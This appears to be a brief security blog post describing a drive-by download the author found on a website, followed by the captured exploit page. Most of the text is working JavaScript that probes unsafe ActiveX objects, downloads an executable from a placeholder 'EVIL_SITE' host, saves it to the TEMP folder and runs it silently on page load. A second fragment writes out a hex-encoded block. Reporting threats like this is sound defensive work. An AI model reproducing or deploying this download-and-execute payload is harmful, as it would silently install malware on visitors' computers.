Today I found another old example of how web site operators are using browser based exploits to infect “drive by” browsers. If a user goes to the site I found today using a vulnerable browser an Iframe will deliver an advertisment which contains javascript encoded download instructions for exe’s.
Observe
function Go(a) {
Log('Creating helper objects...');
var s = CreateO(a, "WScript.Shell");
var o = CreateO(a, "ADODB.Stream");
var e = s.Environment("Process");
Log('Ceating the XMLHTTP object...');
var url = "http://EVIL_SITE/adv/168/win32.exe"; var xml = null;
var bin = e.Item("TEMP")+ "\\" + "metasploit.exe";
var dat;
try { xml=new XMLHttpRequest(); }
catch(e) {
try { xml = new ActiveXObject("Microsoft.XMLHTTP"); }
catch(e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if (! xml) return(0);
Log('');
xml.open("http://EVIL_SITE/adv/GET", url, false)
xml.send(null);
dat = xml.responseBody;
Log('');
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
Log('.');
s.Run(bin,0);
}
function Exploit() {
var i = 0;
var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}',
'{BD96C556-65A3-11D0-983A-00C04FC29E36}',
'{AB9BCEDD-EC7E-47E1-9322-D4A210617116}',
'{0006F033-0000-0000-C000-000000000046}',
'{0006F03A-0000-0000-C000-000000000046}',
'{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}',
'{6414512B-B978-451D-A0D8-FCFDF33E833C}',
'{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}',
'{06723E09-F4C2-43c8-8358-09FCD1DB0766}',
'{639F725F-1B2D-4831-A9FD-874847682010}',
'{BA018599-1DB3-44f9-83B4-461454C84BF8}',
'{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}',
'{E8CCCDDF-CA28-496b-B050-6C07C962476B}',null);
while (t[i]) {
var a = null;
if (t[i].substring(0,1) == '{') {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
} else {
try { a = new ActiveXObject(t[i]); } catch(e){}
}
if (a) {
try {
var b = CreateO(a, "WScript.Shell");
if (b) {
Log('Loaded ' + t[i]);
Go(a);
return(0);
}
} catch(e){}
}
i++;
}
Log('');
}
</script>
</head>
<body onload='Exploit()'>
<p></p>
</body>
</html>
<html>
<body>
<script>
document.write(unescape("[LARGE BLOCK OF HEX ENCODED DATA]"))
</script>
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